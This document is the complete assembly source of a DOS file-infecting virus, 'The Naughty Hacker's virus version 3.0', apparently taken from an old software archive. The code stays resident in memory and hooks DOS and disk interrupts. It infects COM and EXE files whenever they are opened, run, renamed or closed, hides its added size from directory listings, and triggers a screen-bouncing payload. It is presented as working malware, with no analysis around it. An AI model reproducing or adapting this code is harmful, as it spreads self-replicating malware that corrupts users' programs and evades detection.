home *** CD-ROM | disk | FTP | other *** search
- .radix 16
-
- ;WARNING: THIS IS NOT A BASIC RELEASE BUT A WORK COPY!
- ;It seems that somebody had steal this version and
- ;circulates it now.
-
- title The Naughty Hacker's virus version 3.0
- comment / Naughty Hacker wishes you the best ! /
-
- jmp start
-
- virlen equ offset endcode-offset begin
- alllen equ offset buffer-offset begin
-
- begin label word
-
- IP_save dw 20cdh
- CS_save dw ?
- SS_save dw ?
- far_push dw ?
- ident db 'C'
- start:
- call inf
- inf:
- pop bp
- sub bp,offset start-offset begin+3
- push es
- push ds
- mov es,es:[2]
- mov di,start-begin
- push ds
- push cs
- pop ds
- mov si,di
- add si,bp
- mov cx,endcode-inf
- cld
- rep cmpsb
- pop ds
- push ds
- pop es
- je run
- ina:
- cmp word ptr [0],20cdh
- je urud
- jmp run
- urud:
- mov word ptr cs:[bp+handle-begin],0ffff
- mov word ptr cs:[bp+counter-begin],2345
- mov ax,ds
- dec ax
- mov ds,ax
- sub word ptr [3],80
- mov ax,es:[2]
- sub ax,80
- mov es:[2],ax
- push ax
-
- sub di,di
- mov si,bp
- mov ds,di
- pop es
- push cs
- pop ds
- mov cx,alllen
- rep movsb
- push cs
- mov ax,offset run-begin
- add ax,bp
- push ax
- push es
- mov ax,offset inss-100-3
- push ax
- retf
- run:
- pop ds
- pop es
- cmp byte ptr cs:[bp+ident-begin],'C'
- je comfile
- mov dx,cs:[bp+CS_save-begin]
- mov cx,cs
- sub cx,word ptr cs:[bp+far_push-begin]
- add dx,cx
- add cx,cs:[bp+SS_save-begin]
- cli
- mov ss,cx
- sti
- clear:
- push dx
- push word ptr cs:[bp+IP_save-begin]
- call clearr
- retf
- comfile:
- mov ax,cs:[bp+IP_save-begin]
- mov [100],ax
- mov ax,cs:[bp+CS_save-begin]
- mov [102],ax
- mov ax,100
- push ax
- call clearr
- retn
- cur:
- call exec
- push bx
- push es
- push si
- push ax
- mov si,dx
- cmp byte ptr [si],0ff
- jne puf
- mov ah,2f
- call exec
-
- mov al,byte ptr es:[bx+22d+7+1]
- and al,31d
- cmp al,31d
- jnz puf
- cmp word ptr es:[bx+28d+2+7+1],0
- jne scs
- cmp word ptr es:[bx+28d+7+1],virlen*2
- jb puf
- scs:
- sub word ptr es:[bx+28d+7+1],virlen
- sbb word ptr es:[bx+28d+2+7+1],0
- puf:
- pop ax
- pop si
- pop es
- pop bx
- iret
-
- inff:
- dec word ptr cs:[counter-begin]
- jnz neass
- call shop
- neass:
- cmp ah,11
- je cur
- cmp ah,12
- je cur
-
- cmp ah,4e
- jne cur1.1
- jmp cur1
- cur1.1:
- cmp ah,4f
- jne cur1.2
- jmp cur1
- cur1.2:
- cmp ah,3ch
- je create
- cmp ah,5bh
- je create
-
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push bp
- push ds
- push es
-
- mov byte ptr cs:[function-begin],ah
-
- cmp ah,3dh
- je open
-
- cmp ah,3e
- je close_
-
- cmp ax,4b00
- je execute
-
- cmp ah,17
- je ren_FCB
-
- cmp ah,56
- je execute
-
- cmp ah,43
- je execute
-
- here:
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- jmp dword ptr cs:[current_21h-begin]
-
- ren_FCB:
- call transfer
- call coont
- jmp here
-
- create:
- call exec
- mov word ptr cs:[handle-begin],ax
- db 0ca,2,0
- close_:
- cmp word ptr cs:[handle-begin],0ffff
- je here
- cmp bx,word ptr cs:[handle-begin]
- jne here
- mov ah,45
- call coont
- mov word ptr cs:[handle-begin],0ffff
- jmp here
- execute:
- mov ah,3dh
- call coont
- jmp here
- open:
- call coont
- jmp here
- cur1:
- call exec
- pushf
- push ax
- push bx
- push es
-
- mov ah,2f
- call exec
-
- mov al,es:[bx+22d]
- and al,31d
- cmp al,31d
- jne puf1
-
- cmp es:[bx+28d],0
- jne scs1
- cmp es:[bx+26d],virlen*2
- jb puf1
- scs1:
- sub es:[bx+26d],virlen
- sbb es:[bx+28d],0
- puf1:
- pop es
- pop bx
- pop ax
- popf
- db 0ca,2,0 ;retf 2
- coont:
- call exec
- jnc ner
- ret
- ner:
- mov bp,ax
- mov byte ptr cs:[flag-begin],0
- mov ah,54
- call exec
- mov byte ptr cs:[veri-begin],al
- cmp al,1
- jne rty
- mov ax,2e00
- call exec
- rty:
- mov ax,3508
- call exec
- mov word ptr cs:[current_08h-begin],bx
- mov word ptr cs:[current_08h-begin+2],es
- push bx
- push es
- mov al,21
- call exec
- push bx
- push es
- mov al,24
- call exec
- push bx
- push es
- mov al,13
- call exec
- push bx
- push es
- mov ah,25
- mov dx,int13h-begin
- push cs
- pop ds
- call exec
- mov al,21
- lds dx,cs:[org_21h-begin]
- call exec
- mov al,24
- push cs
- pop ds
- mov dx,int24h-begin
- int 21
- mov al,8
- mov dx,int08h-begin
- int 21
- mov bx,bp
- push bx
- mov ax,1220
- call exec2f
- mov bl,es:[di]
- mov ax,1216
- call exec2f
- pop bx
- add di,11
- mov byte ptr es:[di-15d],2
- mov ax,es:[di]
- mov dx,es:[di+2]
- cmp dx,0
- jne contss
- cmp ax,virlen
- jnb contss
- jmp close
- contss:
- cmp byte ptr cs:[function-begin],3dh
- jne hhh
- push di
- add di,0f
- mov si,offset fname-begin
- cld
- mov cx,8+3
- rep cmpsb
- pop di
- jne hhh
- jmp close
- hhh:
- cmp es:[di+18],'MO'
- jne a2
- jmp com
- a2:
- cmp es:[di+18],'EX'
- je a8
- jmp close
- a8:
- cmp byte ptr es:[di+17],'E'
- je a3
- jmp close
- a3:
- call cont
- cmp word ptr [si],'ZM'
- je okk
- cmp word ptr [si],'MZ'
- je okk
- jmp close
- okk:
- cmp word ptr [si+0c],0
- jne uuu
- jmp close
- uuu:
- mov cx,[si+16]
- add cx,[si+8]
- mov ax,10
- mul cx
- add ax,[si+14]
- adc dx,0
- mov cx,es:[di+2]
- sub cx,dx
- or cx,cx
- jnz usm
- mov cx,es:[di]
- sub cx,ax
- cmp cx,virlen-(start-begin)
- jne usm
- jmp close
- usm:
- mov byte ptr [ident-begin],'E'
- mov ax,[si+0e]
- mov [SS_save-begin],ax
- mov ax,[si+14]
- mov [IP_save-begin],ax
- mov ax,[si+16]
- mov [CS_save-begin],ax
- mov ax,es:[di]
- mov dx,es:[di+2]
- add ax,virlen
- adc dx,0
- mov cx,200
- div cx
- mov [si+2],dx
- or dx,dx
- jz oj
- inc ax
- oj:
- mov [si+4],ax
- mov ax,es:[di]
- mov dx,es:[di+2]
-
- mov cx,4 ; This could be so:
- mov bp,ax ;
- and bp,0fh ; mov cx,10
- lpp: ; div cx
- shr dx,1 ;
- rcr ax,1 ;
- loop lpp ;
- mov dx,bp ;
-
- sub ax,[si+8]
- add dx,start-begin
- adc ax,0
- mov [si+14],dx
- mov [si+16],ax
- mov word ptr [far_push-begin],ax
- add ax,200
- mov [si+0eh],ax
- write:
- sub cx,cx
- mov es:[di+4],cx
- mov es:[di+6],cx
- push es:[di-2]
- push es:[di-4]
- xchg cx,es:[di-0dh]
- push cx
- mov ah,40
- mov dx,buffer-begin
- mov cx,01bh
- int 21
- cmp byte ptr cs:[flag-begin],0ff
- jne ghj
- stc
- jc exit
- ghj:
- mov ax,es:[di]
- mov es:[di+4],ax
- mov ax,es:[di+2]
- mov es:[di+6],ax
- call com?
- jne f2
- sub es:[di+4],virlen
- sbb es:[di+6],0
- f2:
- mov ah,40
- sub dx,dx
- mov cx,virlen
- int 21
- cmp byte ptr cs:[flag-begin],0ff
- jne exit
- stc
- exit:
- pop cx
- mov es:[di-0dh],cx
- pop cx
- pop dx
- or byte ptr es:[di-0bh],40
- jc closed
- call com?
- jne f3
- and cx,31d
- or cx,2
- jmp closed
- f3:
- or cx,31d
- closed:
- mov ax,5701
- int 21
- close:
- mov ah,3e
- int 21
- or byte ptr es:[di-0ch],40
-
- push es
- pop ds
- mov si,di
- add si,0f
- mov di,offset fname-begin
- push cs
- pop es
- mov cx,8+3
- cld
- rep movsb
- push cs
- pop ds
-
- cmp byte ptr cs:[flag-begin],0ff
- jne qw
- mov ah,0dh
- int 21
- qw:
- cmp byte ptr cs:[veri-begin],1
- jne rtyyu
- mov ax,2e01
- call exec
- rtyyu:
- sub ax,ax
- mov ds,ax
- cli
- pop [13*4+2]
- pop [13*4]
- pop [24*4+2]
- pop [24*4]
- pop [21*4+2]
- pop [21*4]
- pop [8*4+2]
- pop [8*4]
- sti
- retn
- com:
- test byte ptr es:[di-0dh],4
- jz esc4
- jmp close
- esc4:
- call cont
- cmp byte ptr [si],0e9
- jne usm2
- mov ax,es:[di]
- sub ax,[si+1]
- cmp ax,virlen-(start-begin-3)
- jne usm2
- jmp close
- usm2:
- push si
- cmp byte ptr es:[di+17],'C'
- jne esc
- mov byte ptr [ident-begin],'C'
- lodsw
- mov cs:[IP_save-begin],ax
- lodsw
- mov cs:[CS_save-begin],ax
- mov ax,es:[di]
- cmp ax,65535d-virlen-1
- pop si
- jb esc
- jmp close
- esc:
- add ax,start-begin-3
- call com?
- jne f1
- sub ax,virlen
- f1:
- mov byte ptr [si],0e9
- mov word ptr [si+1],ax
- jmp write
- inss:
-
- sub ax,ax
- mov ds,ax
-
- pushf
- pop ax
- and ax,0feff
- push ax
- popf
-
- pushf
-
- mov [1*4],offset trap-begin
- mov [1*4+2],cs
-
- pushf
- pop ax
- or ax,100
- push ax
- popf
-
- mov ax,0ffff
- call dword ptr [21h*4]
-
- sub ax,ax
- mov ds,ax
-
- pushf
- pop ax
- and ax,0feff
- push ax
- popf
-
- pushf
-
- mov [1*4],offset trap2-begin
- mov [1*4+2],cs
-
- pushf
- pop ax
- or ax,100
- push ax
- popf
-
- mov ax,0ffff
- call dword ptr [2fh*4]
-
- sub ax,ax
- mov ds,ax
-
- pushf
- pop ax
- and ax,0feff
- push ax
- popf
-
- pushf
-
- mov [1*4],offset trap3-begin
- mov [1*4+2],cs
-
- pushf
- pop ax
- or ax,100
- push ax
- popf
-
- sub ax,ax
- call dword ptr [13h*4]
-
- sub ax,ax
- mov ds,ax
-
- les ax,[21*4]
- mov word ptr cs:[current_21h-begin],ax
- mov word ptr cs:[current_21h-begin+2],es
- mov [21*4],offset inff-begin
- mov [21*4+2],cs
- retf
-
- trap:
- push bp
- mov bp,sp
- push bx
- cmp [bp+4],300
- ja exit2
- mov bx,[bp+2]
- mov word ptr cs:[org_21h-begin],bx
- mov bx,[bp+4]
- mov word ptr cs:[org_21h-begin+2],bx
- and [bp+6],0feff
- exit2:
- pop bx
- pop bp
- iret
-
- trap2:
- push bp
- mov bp,sp
- push bx
- cmp [bp+4],100
- ja exit3
- mov bx,[bp+2]
- mov word ptr cs:[org_2fh-begin],bx
- mov bx,[bp+4]
- mov word ptr cs:[org_2fh-begin+2],bx
- and [bp+6],0feff
- exit3:
- pop bx
- pop bp
- iret
-
-
- trap3:
- push bp
- mov bp,sp
- push bx
- cmp [bp+4],0C800
- jb exit4
- mov bx,[bp+2]
- mov word ptr cs:[org_13h-begin],bx
- mov bx,[bp+4]
- mov word ptr cs:[org_13h-begin+2],bx
- and [bp+6],0feff
- exit4:
- pop bx
- pop bp
- iret
-
- exec:
- pushf
- call dword ptr cs:[org_21h-begin]
- ret
-
-
- exec2f:
- pushf
- call dword ptr cs:[org_2fh-begin]
- ret
- int08h:
- pushf
- call dword ptr cs:[current_08h-begin]
- push ax
- push ds
- sub ax,ax
- mov ds,ax
- cli
- mov [13*4],offset int13h-begin
- mov [13*4+2],cs
- mov [8*4],offset int08h-begin
- mov [8*4+2],cs
- mov ax,word ptr cs:[org_21h-begin]
- mov [21*4],ax
- mov ax,word ptr cs:[org_21h-begin+2]
- mov [21*4+2],ax
- mov [24*4],offset int24h-begin
- mov [24*4+2],cs
- sti
- pop ds
- pop ax
- iret
- int24h:
- mov al,3
- iret
- int13h:
- pushf
- call dword ptr cs:[org_13h-begin]
- jnc dfg
- mov byte ptr cs:[flag-begin],0ff
- dfg:
- clc
- db 0ca,02,0 ;retf 2
-
- cont:
- sub ax,ax
- mov es:[di+4],ax
- mov es:[di+6],ax
- mov ah,3f
- mov cx,01bh
- mov dx,offset buffer-begin
- mov si,dx
- int 21
- cmp byte ptr cs:[flag-begin],0ff
- jne a1
- stc
- pop ax
- jmp close
- a1:
- ret
- com?:
- cmp es:[di+0f],'OC'
- jne zz
- cmp es:[di+11],'MM'
- jne zz
- cmp es:[di+13],'NA'
- jne zz
- cmp es:[di+15],' D'
- jne zz
- cmp es:[di+17],'OC'
- jne zz
- cmp byte ptr es:[di+19],'M'
- zz:
- ret
- transfer:
-
- cld
- inc dx
- mov si,dx
- mov di,offset buffer-begin
- push di
- push cs
- pop es
- mov cx,8
- rep movsb
- mov al,'.'
- stosb
- mov cx,3
- rep movsb
- mov al,0
- stosb
- pop dx
- push cs
- pop ds
- mov ax,3d00
- ret
- e1:
- cli
- push ax
- push di
- push es
- mov ax,0b800
- mov es,ax
- mov ax,word ptr cs:[pos-begin]
- push ax
- call comp
- mov ax,word ptr cs:[strg-begin]
- stosw
- pop ax
-
- or ah,ah
- jz s3
-
- cmp ah,24d
- jb s1
- s3:
- neg byte ptr cs:[y-begin]
- s1:
- or al,al
- jz s4
-
- cmp al,79d
- jb s2
- s4:
- neg byte ptr cs:[x-begin]
- s2:
- mov ah,byte ptr cs:[y-begin]
- mov al,byte ptr cs:[x-begin]
- add byte ptr cs:[pos+1-begin],ah
- add byte ptr cs:[pos-begin],al
- mov ax,word ptr cs:[pos-begin]
- call comp
- mov ax,es:[di]
- mov word ptr cs:[strg-begin],ax
- mov es:[di],0f07
- pop es
- pop di
- pop ax
- sti
- iret
- comp:
- push ax
- push bx
- sub bh,bh
- mov bl,al
- mov al,160d
- mul ah
- add ax,bx
- add ax,bx
- mov di,ax
- pop bx
- pop ax
- ret
- shop:
- push ax
- push ds
- mov byte ptr cs:[x-begin],0ff
- mov byte ptr cs:[y-begin],0ff
- mov word ptr cs:[pos-begin],1013
- mov ax,0003
- int 10
- sub ax,ax
- mov ds,ax
- cli
- mov [1c*4],offset e1-begin
- mov [1c*4+2],cs
- sti
- pop ds
- pop ax
- ret
- clearr:
- sub ax,ax
- sub bx,bx
- sub cx,cx
- sub dx,dx
- sub si,si
- sub di,di
- sub bp,bp
- ret
-
- db 666d ;Foolish ?!! -> dw 666d
-
- db 55,0AA
-
- endcode label word
-
- current_21h dd ?
- current_08h dd ?
- org_2fh dd ?
- org_13h dd ?
- org_21h dd ?
- flag db ?
- veri db ?
- handle dw 0ffff
- fname db 8+3 dup (?)
- function db ?
- pos dw ?
- x db ?
- y db ?
- strg dw ?
- counter dw ?
-
- buffer label word